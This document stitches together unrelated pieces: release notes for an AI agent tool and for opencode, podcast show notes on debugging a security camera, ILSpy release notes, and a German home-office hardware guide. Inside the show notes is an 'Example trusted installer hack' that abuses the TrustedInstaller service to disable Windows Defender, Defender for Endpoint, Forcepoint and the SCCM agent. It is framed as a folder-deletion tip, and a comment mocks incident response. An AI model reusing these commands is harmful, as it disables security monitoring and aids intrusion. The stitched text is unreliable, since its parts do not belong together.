• Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
• Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
• Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
• mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
• Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

• Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
• Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
• Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
• Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
• Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
• computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
• Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
• CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
• Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
• Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
• Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

• iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
• dynamic-workflow orchestration skill (landed, then reverted) — not shipping
• memory provider-actions extension point (landed, then reverted) — not shipping
• Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

• @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
• @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
• @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
• @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
• @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
• @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
• @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
• @austinpickett — desktop custom endpoint settings
• @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

• @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
• @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
• @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
• @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
• @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
• @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
• @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
• @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
• @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
• @vishal-dharm — Gemini request-context improvements
• @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
• @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
• Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

Improvements

• Use adaptive thinking controls for Kimi models on Anthropic-compatible providers, with summarized reasoning output by default. (@chouqin)

Bugfixes

• Reduce OpenAI provider header timeouts during slow connection setup.
• Respect provider-defined reasoning options instead of falling back to the wrong reasoning controls.
• Restore Azure Cognitive Services endpoint support for Azure-hosted models.

Desktop

Improvements

• Sync the embedded terminal theme with the app theme.
• Improve the review panel so open file tabs can stay aligned with the current diff view.
• Rewrite the v2 prompt input for more reliable command, context, shell, attachment, and history interactions.
• Improve review panel resizing and sticky controls.

Bugfixes

• Preserve command drafts in the command menu.
• Avoid session view failures when message parent links are missing.
• Prevent sending empty prompt text parts.
• Restore model variant selection accessibility.
• Show keybind tooltips on prompt input controls. (@ProdigyRahul)
• Deduplicate repeated file entries in diff summaries.
• Prevent recovery window handling from touching destroyed windows.

Thank you to 3 community contributors:

• @jerome-benoit:
  • fix(nix): relax Bun version check for desktop build (#36767)
  • fix(nix): restore desktop integration (#37197)
• @ProdigyRahul:
  • fix(app): show keybind tooltips on prompt input controls (#37824)
• @chouqin:
  • feat(opencode): use adaptive thinking effort for kimi family on anthr… (#37696)

Show Notes

Episode Overview

• Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

Key Topics & Breakdown

• • Egg Drop Soup Hack: How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.
  • Camera Setup & Network Config: Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.
  • Python & Cron Automation: Running a custom Python script every 2 minutes to check for new recordings, parsing logs with grep -v , and navigating massive log files in vi .
  • Windows Troubleshooting Tangent: Deleting the stubborn Windows.old folder using the TrustedInstaller service hack ( ExecTI.exe ) instead of taking ownership manually.
  • Time Sync & Firmware Quirks: Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming .bin to .zip , and extracting with 7-Zip.
  • Pre-Flash Backup Routine: Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

️ Tools & Techniques Mentioned

• • crontab + Python scripts for automated monitoring
  • grep -v , cat , tail , and vi (line navigation with :1000 )
  • Obsidian for note-taking & AI assistant integration
  • Firefox/Playwright for headless browser testing
  • Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads
  • 7-Zip for archive extraction
  • Google Drive for searchable config backups

Resources & Links

• • Python API Script: Uniview IPC3628SR Recording Checker
  • Camera Model: IPC3628SR (Uniview Wyze ISP Warm Light Deterrent Network Camera)
  • TrustedInstaller Run-as Tool: ExecTI TrustedInstaller Runner

Quick Takeaways

1. 1. Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.
   2. Use grep -v "noise" to quickly filter out repetitive log entries when debugging automation scripts.
   3. Windows system folders can be stubborn; running commands as TrustedInstaller bypasses hidden file locks without manual ownership changes.
   4. Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.
   5. Third-party download links often use temporary tokens or .bin wrappers; renaming to .zip and verifying with 7-Zip can save headaches.

• Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.

Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"

Provide feedback on this episode.

Warning

We DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.

Note for Mac users: see https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact because the ILSpy.app is neither signed nor notarized.

Avalonia Cross Platform Port

• PR #3755: Avalonia 12 Port and Removal of the WPF UI
• PR #3759: Metadata explorer cleanup, flags-filter fixes, and WPF row-details parity
• PR #3766: Round-trip the legacy WPF SessionSettings shape
• PR #3768: Build, test, and package ILSpy on Linux and macOS in CI
• PR #3861: Show text-based resources inline with syntax highlighting
• PR #3875: Avalonia 12.1
• PR #3876: Keep BAML decompilation working when WPF assemblies are missing

New Features

• PR #3847: Unpack !AvaloniaResources into per-file resource tree nodes
• PR #3801: Fix #3797: resolve ilspycmd -t type names with fuzzy matching
• PR #3789: Add a bookmarks feature for the decompiled C# view
• PR #3786: Add omnibar breadcrumb and search bar above the decompiled code
• PR #3769: Make the override modifier a link to the overridden member
• PR #3762: Add Open from NuGet feed dialog for browsing and opening packages

User Interface

• PR #3857: Fix #2078: Generic local functions not highlighted properly
• PR #3855: Fix #3845: Add option to expand XML documentation comments
• PR #3814: Toggle the fold under the right-click, not at the caret
• PR #3812: Syntax-colour analyzer signatures with bold type names (#2164)

Enhancements

• PR #3872: Decompile await on dynamic expressions
• PR #3837: Fix #3804: decompile foreach over inline array
• PR #3791: Fix #3777: decompile runtime async without a separate C# 15 setting
• PR #3843: Bound XamarinCompressedFileLoader against crafted XALZ headers
• PR #3842: Bound WebCilFile section access against mapped-view length
• PR #3841: Harden BAML reader against crafted-resource crashes
• PR #3816: Allow overriding an assembly's target framework for reference resolution
• PR #3840: Bound .rsrc resource-tree parsing against crafted input
• PR #3838: Guard against OOB read when bundle signature is at file start
• PR #3818: Display the IL 'tail.' prefix in C# output
• PR #3808: Migrate the VS extension to an SDK-style VSIX (dotnet build) and retire the VS2017/2019 add-in
• PR #3802: Fix #3799 and three related stackalloc initializer decompilation defects
• PR #3780: Compute public-key tokens with a managed SHA-1

Documentation

• PR #3868: CONTRIBUTING.md for the AI era
• PR #3870: Add decompiler architecture document

Testing / Infrastructure

• PR #3771: Run the decompiler test suite on Linux
• PR #3788: Use cross-platform separators for the FSharp.Core.dll test path
• PR #3807: Adopt SDK default Compile items in Decompiler and Decompiler.Tests
• PR #3815: Verify generated PDBs against the compiler's breakpoint map (PdbGen fixtures previously passed vacuously)
• PR #3836: Don't assert decompiled local types match the signature
• PR #3839: Add fine-grained debug steps with highlighting for C# and ILAst
• PR #3849: Set OpenSSL SHA1 flag in build scripts
• PR #3859: Add test coverage for untested corners of implemented language features
• PR #3874: Upload TestCases folder as artifact when CI tests fail

Contributions

• PR #3851: Fix #3850: recover ReadOnlySpan array literals from the legacy lazy cache — @sailro, thank you!
• PR #3878: Handle negative dictionary capacity in string switch transform — @ds5678, thank you!
• PR #3828: Fix #3826: wrap an overflowing constant subexpression in unchecked() — @sailro, thank you!
• PR #3831: Fix #3825: reconstruct async iterators with [EnumeratorCancellation] and await in finally — @sailro, thank you!
• PR #3830: Fix #3827: keep the while-loop for a ref local used after the loop (avoid an uninitialized hoisted ref decl) — @sailro, thank you!
• PR #3823: Fix #3821: keep ref-struct conditional as if/return, not ?. / ?? (CS8978) — @sailro, thank you!
• PR #3822: Fix #3820: decompile dynamic ~ as ~x instead of an unsupported-opcode error — @sailro, thank you!
• PR #3796: Fix decompiler tests project inside VS — @DoctorKrolic, thank you!
• PR #3787: dev: fix editorconfig parsing on some editors — @mochaaP, thank you!
• PR #3879: Fix the "Use nested namespace structure" option — @ds5678, thank you!

Bug Fixes

• PR #3881: Reject negative char index in the length-and-char string switch
• PR #3866: Fix #3475: Emit 'true ? null : new { ... }' for null of anonymous type
• PR #3864: Fix #3860: Avoid 'out var' if the variable recurs in the argument list
• PR #3873: Fix dynamic event-assignment decompilation leaking is-event opcode
• PR #3863: Simplify hoisted null-guard fold to reference-type constructor chains
• PR #3852: Fix #3824: fold a hoisted argument null-guard at the ILAst level
• PR #3832: Fix #3754: omit async stepping info for runtime-async methods
• PR #3806: Fix Export NullReferenceException for images/resourcexsd.baml
• PR #3792: Fix #3774: keep field initializers when decompiling a static ctor alone
• PR #3790: Skip missing session assemblies when navigating on launch
• PR #3776: Escape reserved Windows device names in output file names

For a full list of changes click here.

Das Homeoffice ist längst ein fester Bestandteil des Arbeitsalltags. Doch während Software und Cloud-Dienste ständig weiterentwickelt werden, arbeiten viele Nutzer noch immer an veralteten Schreibtischen, unbequemen Stühlen oder mit unpraktischen Monitor-Set-ups. Das kostet im besten Fall Zeit und Konzentration – im schlimmsten Fall geht es zulasten der Gesundheit.

2026 rückt deshalb die physische Arbeitsumgebung in den Fokus: Ergonomie, smarte Konnektivität und leistungsfähige Hardware entscheiden darüber, wie effizient, konzentriert und erfolgreich wir arbeiten. Schon gezielte Upgrades bei Monitoren, Eingabegeräten oder der Büroausstattung sorgen für spürbar mehr Komfort und einen deutlich besseren Workflow. Wir zeigen Ihnen die besten Hardware-Empfehlungen für ein modernes Homeoffice.

PROMOTION

Ihr Bildschirm wirkt blass? Dieses OLED-Display setzt neue Maßstäbe

Das HP OmniBook X Flip überzeugt mit einem farbstarken 3K-OLED-Touchdisplay und 120 Hz für die gestochen scharfe Darstellung von Text, Grafik und Video. Der Intel® Core™ Ultra 5 Prozessor mit Intel® Arc™ Grafik meistert Ihren Arbeitsalltag mühelos, während Thunderbolt™ 4 und Wi-Fi 7 für schnelle Verbindungen sorgen. Windows Hello per IR-Kamera macht die Anmeldung besonders komfortabel.

Erfahren Sie mehr über das HP OmniBook X Flip

Die wichtigsten Hardware-Upgrades für Ihr Homeoffice

Um das Maximum aus Ihrem Arbeitstag herauszuholen, sollten Sie Ihre Ausstattung an den entscheidenden Stellen optimieren. Hier sind die besten Hardware-Tipps für Ihr Upgrade:

Monitor: Dell U2724DE UltraSharp Thunderbolt 27 Zoll

Dell

Preis: 552 Euro

Technik:

• Bildschirmdiagonale & Auflösung: 27 Zoll (68,58 cm) mit QHD-Auflösung (2560 x 1440 Pixel)
• Panel-Technologie: IPS Black mit nativem Kontrastverhältnis von 2.000:1 und 98 % DCI-P3 Farbraumabdeckung
• Bildwiederholrate: 120 Hz
• Ergonomie & Sensoren: Umgebungslichtsensor (automatische Helligkeit/Farbtemperatur), ComfortView Plus (TÜV-zertifizierter Blaulichtfilter), höhenverstellbar, neigbar, schwenkbar, drehbar
• Video-Anschlüsse: 1 × HDMI, 2 × DisplayPort (Eingang und Ausgang für Daisy-Chaining)
• Konnektivität & Docking: 2 × Thunderbolt 4 (inkl. Videosignal und Stromversorgung für Laptops), 2 × USB‑C, 4 × USB‑A Downstream, 1 × RJ45 Ethernet-Anschluss (2,5 Gbit/s)
• Herstellergarantie: 3 Jahre Premium-Panel-Austauschservice

Der Dell UltraSharp U2724DE erweist sich im Test als extrem vielseitige Schaltzentrale für den modernen Arbeitsplatz. Das Alleinstellungsmerkmal in dieser Preisklasse ist das verbaute IPS-Black-Panel, das im Vergleich zu herkömmlichen IPS-Monitoren den Schwarzwert und das Kontrastverhältnis verdoppelt.

Damit schließt Dell die Lücke zu teuren OLED-Displays, ohne dass im harten Office-Alltag (etwa bei stundenlangen, statischen Excel-Tabellen) die Gefahr von Einbrenneffekten besteht. Die Bildwiederholrate von 120 Hz sorgt für flüssiges Scrollen durch Dokumente und macht das Display nach Feierabend auch Gaming-tauglich.

Ein echter Produktivitätsgewinn ist die integrierte Thunderbolt-4-Dockingstation mit schnellem 2,5G-Ethernet-Port: Ein einziges Kabel zum Laptop reicht aus, um das Gerät zu laden, das Bild zu übertragen und sämtliche Peripherie anzubinden. Über den Displayport-Ausgang lässt sich zudem ein zweiter Monitor in Reihe schalten (Daisy-Chaining).

Abgerundet wird das Modell durch einen präzisen Umgebungslichtsensor, der die Panel-Helligkeit schrittweise dem Raum anpasst und so die Augen bei langen Sessions schont. Als einziger Kompromiss bleibt die QHD-Auflösung – wer auf eine Pixeldichte von 4K besteht, muss in ein teureres Modell investieren.

Solche und andere Geräte finden Sie in unserer Teststrecke der besten Monitore für Office, Gaming, 4K, HDR und mehr.

Stuhl: Backforce One Plus

Backforce

Preis: 499 Euro

Technik:

• Mechanik: Ergonomische Synchronmechanik (Wippfunktion mit bis zu 25 Grad Neigungswinkel, Gewichtsregulierung in 7 Schritten)
• Einstellbarkeit: Sitztiefenverstellung, Sitzneigeverstellung, integrierte 2D-Lordosenstütze (flexibel in Höhe und Tiefe justierbar)
• Armlehnen: Gepolsterte 5D-Armlehnen (höhenverstellbar, breitenverstellbar, drehbar und bei Bedarf komplett nach hinten wegklappbar)
• Materialien: Formgeformte Holzschalen (Sitz und Rücken), Dual-Core-Schaumstoff mit zwei Härtezonen, Alcantara-Imitat (atmungsaktiv im Sitzbereich) und PU-Kunstleder (Seitenwangen)
• Unterbau: Glasfaserverstärktes Fußkreuz im Alufelgen-Design, Class-4-Gasdruckfeder
• Ergonomie-Zertifikate: Entwickelt mit den Ergonomie-Experten von Interstuhl, Blauer Engel zertifiziert
• Belastbarkeit & Garantie: Maximal 130 kg Körpergewicht/10 Jahre Herstellergarantie („Made in Germany“)
• Besonderheiten: Personalisierbare Schulter-Patches, akkubetriebene LED-Brosche („Gamer Pulse“) auf der Rückseite

Wer im Homeoffice lange Arbeitszeiten rückenfreundlich bewältigen will, muss nicht zwingend zum klassischen, oft bieder designten Bürostuhl greifen. Der Backforce One Plus bricht als ergonomischer Crossover-Stuhl das traditionelle Muster auf.

Hinter dem futuristischen und extravagant gestalteten Gaming-Look steckt die Expertise des deutschen Traditionsherstellers Interstuhl. Das Ergebnis ist eine durchdachte Ergonomie-Zentrale, die auf geformte Holzschalen statt billiges Plastik setzt und dank eines Dual-Core-Schaumstoffs mit zwei unterschiedlichen Härtezonen dauerhaft hohen Sitzkomfort bietet.

Im Vergleich zu Standard-Gaming-Stühlen verfügt die verbesserte Plus-Variante über alle essenziellen Office-Funktionen: Eine echte Synchronmechanik sorgt dafür, dass sich Sitzfläche und Rückenlehne im optimalen Verhältnis zueinander bewegen, während die in Höhe und Tiefe verstellbare Lordosenstütze den Lendenwirbelbereich entlastet.

Ein willkommenes Alleinstellungsmerkmal im Alltag sind die gepolsterten 5D-Armlehnen: Die lassen sich bei Bedarf komplett nach hinten wegklappen – so lässt sich der Stuhl nah an die Tischkante rollen oder zwischendurch die Sitzposition variieren. Ein mögliches Manko: Der maximale Wippwinkel von 25 Grad könnte für Nutzer, die sich gerne sehr weit zurücklehnen, jedoch nicht ganz ausreichen.

Die besten Gaming-Stühle finden Sie in unserer Teststrecke.

Homeoffice-Tisch: FlexiSpot E5

FlexiSpot

Preis: 318 Euro

Technik:

• Abmessungen Tischplatte: 160 × 80 cm (einteilige, 25 mm starke Verbundplatte, verschiedene Dekore wie Ahorn verfügbar)
• Antrieb & Motoren: Leistungsstarkes Doppelmotorensystem für synchrone Höhenverstellung
• Höhenverstellbarkeit: Stufenlos von 70 cm bis 119 cm
• Hubgeschwindigkeit: Bis zu 25 mm/s bei leisem Betrieb
• Tragfähigkeit: Maximal 100 kg statische/dynamische Belastbarkeit
• Bedienfeld: Intelligente Handsteuerung mit LED-Display und 4 individuellen Speicherplätzen (Memory-Funktion)
• Sicherheitssysteme: Integrierter, sensorgesteuerter Kollisionsschutz (Anti-Kollisionssystem)
• Herstellergarantie: 5 Jahre Garantie auf das Rahmengestell, 3 Jahre Garantie auf die Motoren (inklusive lebenslangem technischen Support)

Dieser höhenverstellbare Schreibtisch von FlexiSpot bildet mit 160 × 80 Zentimetern ein solides und ergonomisches Fundament für Ihr Homeoffice im Jahr 2026. Das Modell setzt auf ein effizientes Doppelmotorensystem, das die 25 Millimeter dicke, einteilige Tischplatte auch bei ungleichmäßiger Belastung verwerfungsfrei nach oben oder unten bewegt. Mit einer maximalen Traglast von 100 Kilogramm bietet der Tisch einige Reserven, um schwere Office-PCs, Halterungsarme und mehrere Monitore gleichzeitig sicher zu tragen.

Die Steuerung erfolgt mit einem Handbedienfeld, über das sich vier favorisierte Sitz- und Stehhöhen dauerhaft abspeichern lassen. Ein Knopfdruck genügt, um die Position im Laufe des Arbeitstages dynamisch zu wechseln. Für die nötige Sicherheit im Wohnbereich sorgt das integrierte Anti-Kollisionssystem: Erkennt der Tisch beim Herunterfahren einen Widerstand – etwa einen Rollcontainer oder eine Stuhllehne –, stoppt der Motor automatisch.

